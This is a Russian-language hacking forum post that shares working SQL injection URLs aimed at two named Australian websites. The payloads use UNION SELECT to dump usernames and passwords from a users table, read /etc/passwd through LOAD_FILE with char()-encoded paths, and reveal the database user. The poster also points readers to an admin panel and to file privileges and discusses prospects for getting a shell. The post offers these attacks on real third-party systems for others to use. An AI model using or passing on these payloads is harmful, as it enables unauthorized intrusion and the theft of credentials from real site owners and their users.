|
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
С нами:
10242288
Репутация:
536
|
|
2Ded MustD!e: ыыы, сделаю красным пожалуй  )).
Опять .AU, надеюсь никого еще этим не задолбал  .
http://my.highway1.com.au/
http://my.highway1.com.au/news.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,convert(concat_ws(0 x3A,username,password)+using+latin1),10,11,12,13,1 4,15+from+users/*
О чем сайт я не понял. По URL'у /admin/ по идее распологаеться админка, к которой доступ 403 Forbidden. Также рекомендую посмотреть крайне информативный robots.txt, что этим хотели сказать я также не понял  . Для тех, кто интересуеться, есть file_priv:
http://my.highway1.com.au/news.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,convert(LOAD_FILE(c har(47,101,116,99,47,112,97,115,115,119,100))+usin g+latin1),10,11,12,13,14,15+from+users/*
Вот только magic_quotes=on, так что идея получить шелл через скуль обрубаеться на корню.
http://www.ellaways.com.au/
http://www.ellaways.com.au/news.php?id=-1+UNION+SELECT+1,2,USER(),4,5,6,7,8,9/*
Вообщем сайт тоже очень непонятный по контенту  . Зато есть админка и даже с правом доступа в директории /admin/ Вот только аккаунта админа я не знаю, т.к. таблицы я не подобрал  .
|